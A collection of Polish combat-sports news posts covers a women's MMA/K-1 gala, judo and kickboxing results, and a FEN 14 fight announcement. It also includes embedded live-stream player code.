Już 10 września warszawska hala Expo XXI będzie gościć utalentowane fighterki. Na pierwszy plan wysuną się pojedynki MMA i K-1. Kibice będą mogli podziwiać piękne kobiety spragnione triumfu. Początek gali o godz. 19.00

Tylko dla pań

Rzecz jasna, widowisko mogą podziwiać panowie, ale federacja LFN jest unikalna. Propozycja stworzenia wydarzenia opartego wyłącznie na kobietach wydawała się dość abstrakcyjna. Czy pomysł spotkał się z zainteresowaniem? Przekonamy się już 10 września, ale warszawska hala Expo XXI przygotowana jest na prawdziwe trzęsienie ziemi! Będzie się działo.

Głównymi aktorkami widowiska będą fantastyczne zawodniczki. W akcji zaprezentują się fighterki znane z występów w MMA, muay-thai i K-1. Galę zdominują Polki, ale nie zabraknie również zawodniczek z Holandii, Łotwy, Ukrainy, Słowacji czy Czech.

Katarzyna Posiadała kilka tygodni cieszyła się z wywalczenia mistrzostwa Europy Pro Am w muay thai. Na gali Ladies Fight Night Polka spotka się z Lucią Cmarovą. Patrycja Krawczyk w styczniu podczas FEN 10 zaimponowała w starciu z Moniką Porażyńską, które odbyło się na zasadach K-1. Teraz stanie do rywalizacji z trenującą w Fantom Gym & MMA Club Dublin Urszulą Mydłowską.

Nadzieję na podtrzymanie zwycięskiej pasy ma Weronika Zygmunt. Zawodniczka walcząca w MMA ma za sobą dwa triumfy na wcześniejszych eventach LFN. Teraz stawi czoła Valeriji Sotchenko. Na zwycięstwo liczy również Sylwia Juśkiewicz, która swego czasu przegrała z… Joanną Jędrzejczyk. W Warszawie 21-latka spotka się z Magdaleną Mróz, która święciła triumfy w muay thai. Pojedynek odbędzie się na zasadach K-1.

Podczas gali LFN 3 zobaczymy również Judytę Niepogodę, która spotka się z Viktorią Korkoshko w starciu na zasadach muay-thai. W K-1 zaprezentuje się doświadczona Anna Fucz, jej oponentką będzie Eliśka Pelechova. 

Bez Gumiennej

Mocnym nazwiskiem na gali LFN 3 miała być Róża Gumienna. Utytułowana kickboxerka w Warszawie nie wystąpi, gdyż organizacja FEN nie wyraziła zgody na jej walkę. LFN uznało tę decyzję na szkodliwą. Ponadto, krok ten wiązał się z problemami organizacyjnymi, gdyż informacja pojawiła się 10 dni przed galą.

Powody całej sytuacji starała się wyjaśnić Gumienna. – W związku z napięciem, które narasta w mediach społecznościowych i stronach o tematyce sportów walki w sprawie wycofania mojego pozwolenia na walkę dla organizacji LFN, czuje się zobowiązana, aby zabrać głos i wyjaśnić sytuację. Po walce, którą stoczyłam na FEN13 w sierpniu wystosowałam pisemną prośbę do organizacji FEN o udział w walce na gali organizowanej przez LadiesFighNight. Kroki które podjęłam, wynikały z kontraktu jaki mam podpisany z FightExclusiveNight. Zgodę (nie po raz pierwszy) otrzymałam, dlatego kontynuowałam przygotowania. Jednak kilka dni później otrzymałam oficjalną wiadomość od FEN o cofnięciu pozwolenia, które uzasadnione było agresywną polityką LFN względem FEN. Przejawiającą się obraźliwymi i wulgarnymi postami oraz grafikami umieszczonymi na portalu społecznościowym. Walka na LFN 3 byłaby jednoznaczną informacja dla FEN, że akceptuje i podpisuje się pod tymi postami – napisała na swoim fangpage'u.

KM

Podolak: Na igrzyskach nie ma słabych rywalek

Wyjazd do Rio de Janeiro był potwierdzeniem wysokiej dyspozycji Arlety Podolak (57kg) i spełnieniem jej marzeń. 22-letnia Polka odpadła w pierwsze rundzie olimpijskich zmagań, jednak sezon trwa dalej. Jakie plany ma zawodniczka Czarnych Bytom?

22-latka w Rio zdobyła cenna doświadczenie, które może zaprocentować w przyszłości. Wyraźnie widać, że z roku na rok Podolak robi postępy i powoli wyrasta na gwiazdę polskiego judo.

Trudna rywalka

Losowanie nie było łaskawe dla Podolak. W pierwszej rundzie Igrzysk Olimpijskich Polka trafiła na Lien Chen Iing, czyli zawodniczkę zajmującą obecnie 10. miejsce w światowym rankingu. 28-latka w Rio pokazała, że ma spory potencjał. Rywalizację zakończyła na piątym miejscu. Podolak w Rio zebrała cenną naukę. – Nie stresowałem się przed startem w Igrzyskach Olimpijskich. Wiedziałam, że na imprezie tej rangi nie ma słabych rywalek. Nie znałam swojej przeciwniczki. Chen-Iing Lien jest wysoko w rankingu, dodatkowo trenuje w Japonii i przyjaźni się z mistrzynią olimpijską. To mówiło wiele o jej potencjale, jednak uważam, że była do przejścia, ale walka z nią była trudna. To niezwykle niewygodna rywalka. Do tego wysoka, co utrudnia rywalizację – mówi FighTime.pl reprezentantka Polski w judo.

Cały czas czekamy na medal olimpijski w judo. „Klątwa” Nastuli trwa. – Judo jest sportem olimpijskim. Wszyscy chcą medalu, co jest naturalne, ale często wywierana presja rodzi to problemy. Chaos, błędy w przygotowaniach, dodatkowo kontuzje wśród naszych judoków. To wszystko przełożyło się na niewielką liczbę kwalifikacji olimpijskich – tłumaczy Podolak.

Dobry rok

Patrząc na tegoroczne starty Podolak widać, że zawodniczka zrobiła postęp. 22-latka rywalizuje z najlepszymi judoczkami bez kompleksów i osiąga sukcesy. Polscy kibice cieszyli się z jej triumfu w Warszawie, a ta potwierdziła potencjał także w Ałmatach. – Puchar Europy to impreza niżej rangi i nie ma, co przesadzać z radością. Wiadomo, że sukces cieszy, ale większą satysfakcję dało mi zwycięstwo w Grand Prix w Ałamatach. Wyprzedziłam mistrzynię Europy, która była trzecia. Być wyżej niż Automne Pavia to powód do radości – podaje 22-letnia judoczka.

Sezon trwa dalej. Jesień wydaje się niezwykle pracowita dla judoków. Jakie plany ma reprezentantka Polski? – W przyszły weekend będę startowała w niemieckiej Bundeslidze. Z kolei w październiku czekają mnie zmagania w Pucharze Polski i mistrzostwach kraju. W grudniu odbędą się wojskowe mistrzostwa świata, gdzie również wystartuję – wylicza judoczka.

fot. pzjudo.pl/EJU

KM

Czy zdobędą Tallinn?

Judocy wracają na tatami. Polacy jadą do Estonii, gdzie odbędzie się Puchar Europy. W Tallinnie zabraknie naszych olimpijczyków.

Jesień z judo zapowiada się niezwykle ciekawie. Liczymy na mocny akcent już w pierwszym wrześniowym starcie. Ostatnie wspomnienia związane z Tallinem mamy dobre i miejmy nadzieję, że tak pozostanie.

Szwarnowiecki zmienia kategorię

Start w Tallinie będzie debiutem Damiana Szwarnowieckiego w kategorii 81kg. Dotychczas zawodnik rywalizował w 73kg. Warto podkreślić, że dla 22-latka to nie pierwsza zmiana kategorii wagowej. Do 2011 roku rywalizował w 66kg. Ten rok dla Szwarnowieckiego jest wyjątkowy. W lutym w Pucharze Europy w Pradze zdobył srebrny medal, co stanowiło największe osiągnięcie w jego karierze. Nie musiał długo czekać, żeby poprawić ten wynik. 1 kwietnia w Samsun wywalczył złoto w Grand Prix w Samsun. Szkoda tylko, że nie udało mu się zakwalifikować do igrzysk. W Tallinie 22-latek rozpocznie nowy rozdział w swojej karierze.

Kategorię 81kg warto obserwować, gdyż wystartuje w niej aż czterech Polaków. Oprócz Szwarnowieckiego będą to: Karol Kurzej, Damian Stępień i Przemysław Szerszeniewski. 

Kolejne szlify będzie miał okazję zebrać Patryk Wawrzyczek. 21-latek w ubiegłym roku podczas zawodów w Celje uplasował się na trzecim miejscu w kategorii 66kg. W kolejnych startach wśród seniorów nie poszło mu już tak dobrze. W 66kg wystąpią także: Michał Bartusik, Maciej Zacheja i Bartosz Dobranowski.

Dobre starty w tym roku notował Kamil Grabowski, który pomagał Maciejowi Sarnackiemu w przygotowaniach do igrzysk w Rio. W tym sezonie w trzech startach 23-latek dwukrotnie punktował. Szczęśliwy okazał się dla niego Dubrownik, gdzie w Pucharze Europy odniósł triumf. To największe osiągnięcie w jego dotychczasowej karierze.

Mistrzynie Europy jadą do Tallina

Żeńska część kadry prezentuje się niezwykle mocno. Anna Borowska (57kg), Karolina Tałach (63kg) i Anna Załęczna (+78kg) w kwietniu mogły świętować drużynowe mistrzostwo Europy w Kazaniu. Polski zespół niejednokrotnie pokazał, że ma ogromne możliwości. Każda ze wspomnianych zawodniczek w tym roku stawała już na podium w indywidualnych startach na poziomie międzynarodowym. Warto podtrzymać dobrą formę i powalczyć o sukces w Tallinnie.

W Warszawie Beata Pacut stała na najwyższym stopniu podium. W kolejnych startach potwierdziła dobrą dyspozycję. Ciekawe, jak rozpocznie jesienną część sezonu. 

Łącznie do Tallina wybrała się trzydziestoosobowa kadra Polski.

Skład biało-czerwonych:

Ewa Konieczny i Joanna Stankiewicz (48kg), Anna Borowska i Magdalena Zbrzyzna (57kg), Karolina Tałach, Dominika Błach, Aleksandra Langiewicz i Sonia Lniany (63kg), Sandra Lickun, Urszula Hofman i Barbara Białas (70kg), Beata Pacut (78kg), Anna Załęczna (+78kg), Bartłomiej Garbacik, Adrian Wala (60kg), Michał Bartusik, Maciej Zacheja, Patryk Wawrzyczek i Bartosz Dobranowski (66kg), Wiktor Mrówczyński, Mateusz Garbacz (73kg), Karol Kurzej, Damian Stępień, Damian Szwarnowiecki i Przemysław Szerszeniewski (81kg), Tomasz Szczepaniak (90kg), Mariusz Krueger, Patryk Broniec (100kg) oraz Kamil Grabowski, Tomasz Tałach (+100kg).

KM

LIVE: XIII Warszawska Granda

Zapraszamy na transmisję telewizyjną na żywo z gali XIII Warszawska Granda, która odbędzie się 18 września w siedzibie Legia Fight Club. Start zaplanowany za godz. 10.00.

[kod]

Granda Warszawska – XIII

Granda Warszawska – XIII

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/GrandaPro_LFC.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/GrandaPro_LFC.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/GrandaPro_LFC.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/GrandaPro_LFC.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: FEN 14 Silesian Rage – Trening medialny

Zapraszamy na transmisję telewizyjną na żywo z treningu medialnego przed galą FEN 14 Silesian Rage.

[kod]

FEN 14 Silesian Rage

FEN 14 Silesian Rage

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN14SilesianRage.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN14SilesianRage.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN14SilesianRage.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN14SilesianRage.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: FEN 14 Silesian Rage – Oficjalne ważenie zawodników

Zapraszamy na transmisję telewizyjną na żywo z oficjalnego ważenia zawodników przed galą FEN 14 Silesian Rage.

[kod]

FEN 14 Silesian Rage

FEN 14 Silesian Rage

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN14SilesianRage.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN14SilesianRage.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN14SilesianRage.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN14SilesianRage.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Blisko 60 medali naszych kickboxerów

W jakich kategoriach rozpatrywać ten wynik polskich kickboxerów w mistrzostwach świata WAKO juniorów i kadetów w Dublinie? Z pewnością to kolejny sukces dyscypliny, a zarazem potwierdzenie naszego potencjału.

Do znudzenia można powtarzać, że Polska jest w elicie światowego kickboxingu. Biało-czerwoni zdobywają medale, są mocni i rywale obawiają się pojedynków z nimi. Czy ktoś to w końcu dostrzeże?

Medalowy zawrót głowy

Podczas Igrzysk Olimpijskich w Rio de Janeiro Polacy zdobyli łącznie 11 medali, w tym dwa złote. Najlepsi okazali się Amerykanie. Reprezentanci USA wywalczyli 121 krążków, w tym 46 złotych. Jak się mają igrzyska do mistrzostw świata juniorów i kadetów w kickboxingu? Można rozpatrywać to na różnych polach. Po pierwsze, potencjał polskiego kickboxingu jest ogromny. Po drugie, to widowiskowa dyscyplina. Po trzecie, szkoda, że rywalizacji kickboxerów nie można śledzić na igrzyskach. Wtedy dorobek Polaków mógłby być zdecydowanie większy. To temat na dłuższą rozmowę. 

Swego czasu pojawiła się petycja „Tak dla kickboxingu na Igrzyskach Olimpijskich”. Trzeba walczyć i próbować. Miłośników sportów walki przybywa, a kickboxing jest niezwykle widowiskowy.

Wracając do tematu, mistrzostwa świata juniorów i kadetów w Dublinie potwierdziły, że Polska ma szerokie zasoby klasowych zawodników. Łącznie Polacy wywalczyli 58 medali. Na ten dorobek złożyło się 13 złotych krążków, 16 srebrnych i 29 brązowych. To wspaniały rezultat uwzględniając liczbę rywalizujących w Dublinie. O tytuły mistrzowskiego walczyło prawie 1400 zawodników z 47 krajów.

Świetny prezent na 18. urodziny sprawił sobie Adrian Szymanowski. Zawodnik Our Team Poznań triumfował w low-kick 75kg. Wśród juniorów złote medale wywalczyli również: Paulina Radzimierska (low-kick, 70kg), Kamil Połosak (kick light, 84kg), Filip Zawłocki (K1, 81kg), Zuzanna Licha (low kick, 48kg), Roksana Dargiel (k1, 52kg), Michał Adamek (kick light, 94kg), Jolanta Cichoń (full contact, +60kg) i Sebastian Samiła (full contact, 63,5kg). Wśród kadetów na najwyższym stopniu podium stanęli: Paulina Turulska (kick light, 46kg), Angelika Szczepańska (kick light, 65kg), Szymon Góra (kick light, 42kg) i Bartosz Grat (kick light, 69kg).

Dominatorzy z Rosji

Polska jest mocna, ale cały czas trzeba się doskonalić i iść w górę. Biało-czerwoni w klasyfikacji medalowej uplasowali się na szóstej lokacie. Rywalizację w pełni zdominowali Rosjanie. Reprezentanci Sbornej cieszą się z pierwszego miejsca w klasyfikacji medalowej i 130 krążków, w tym aż 57 złotych. De faceto, Rosjanie zdobyli tylko o jeden najcenniejszy krążek mniej niż wynosi dorobek całej naszej kadry. Dalej uplasowali się Irlandczycy (76) oraz Włosi (64). Lepsi od Polski okazały się również reprezentacje Wielkiej Brytanii i Węgier, które zdobyły mniej medali w łącznej liczbie, ale więcej koloru złotego.

KM

LIVE: Gala Ladies Fight Night 3

Zapraszamy na transmisję telewizyjną na żywo z Gali Ladies Fight Night 3: The Femmageddon, która odbędzie się 10 września w hali EXPO XXI w Warszawie. 

[kod]

Gala Ladies Fight Night

Gala Ladies Fight Night

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/LadiesFightNight.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/LadiesFightNight.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/LadiesFightNight.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/LadiesFightNight.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Brandys vs Hadaś w fight cardzie gali FEN 14 w Spodku

Jedną z najciekawszych walk MMA na gali FEN 14 Silesian Rage będzie starcie zawodników, którzy już dwukrotnie mieli walczyć ze sobą, ale kontuzje jednego z nich krzyżowały te plany. 15 października w katowickim Spodku zmierzą się dwaj utalentowani fighterzy kategorii średniej – Paweł Hadaś i Paweł Brandys.

Dla Pawła Hadasia będzie to druga walka w klatkoringu Fight Exclusive Night – debiutował bardzo udanie w styczniu na gali FEN 10 Gold Edition w Lubinie, w drugiej rundzie trójkątem rękoma zmuszając do poddania Aleksandra Rychlika. Było to szóste z rzędu zwycięstwo zawodnika z Górnego Śląska – bezpośrednio przed tym walką odniósł spory sukces podczas turnieju Fightstar Promotions: Rage in the Cage 3 w Szkocji, pokonując Anglika Kyle’a Redfearna i Austriaka Markusa Di Gallo i awansując do finału tej imprezy (z walki finałowej wykluczyła go kontuzja pachwiny). Jedynej porażki w zawodowej karierze Paweł Hadaś doznał w 2010 roku, na samym początku swej przygody z MMA przegrywając z Hubertem Lechem. Choć wywodzi się z kickboxingu, to uważany jest za groźnego grapplera – potwierdzeniem tej opinii są jego osiągnięcia amatorskie, czyli zdobycie Pucharu Polski ADCC w brazylijskim jiu-jitsu oraz tytułu mistrza Polski w jiu-jitsu.

Dla jego przeciwnika, młodszego o 8 lat Pawła Brandysa październikowa walka na gali FEN 14 Silesian Rage będzie debiutem w organizacji Fight Exclusive Night. Znany z ofensywnego, agresywnego stylu walki fighter z Oświęcimia na zawodowej arenie stoczył 10 walk, połowę z nich wygrywając, dwie remisując i trzy przegrywając. Podopieczny Daniela Jochemczyka występował dotychczas głównie na zawodach PLMMA. Ostatni jego występ to walka wieczoru gali PLMMA 67: Nastula Cup 1 w Łomiankach, zorganizowanej na zasadach Pride FC (pierwsza runda trwa 10 minut, dwie kolejne po 5 minut), którą przegrał na punkty z będącym ostatnio w świetnej formie Marcinem Naruszczką.

Starcie Pawła Hadasia z Pawłem Brandysem to druga ogłoszona już walka MMA w fight cardzie gali FEN 14 Silesian Rage. Wcześniej federacja FEN podała, że w kategorii półśredniej 15 października w katowickim Spodku walczyć będą Albert Odzimkowski i Mateusz Strzelczyk. Poza nimi tego wieczora wystąpią także Roman Szymański, który będzie bronił pasa mistrza FEN w formule MMA, Tomasz Sarara, który stanie do walki o tytuł mistrza FEN w K-1, Paweł Biszczak, Tomasz Gromadzki, Akop Szostak i Tyberiusz Kowalczyk.

Bilety na galę FEN 14 są już do kupienia w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 14 Silesian Rage na bieżąco na fanpage’u FEN na Facebooku.

FEN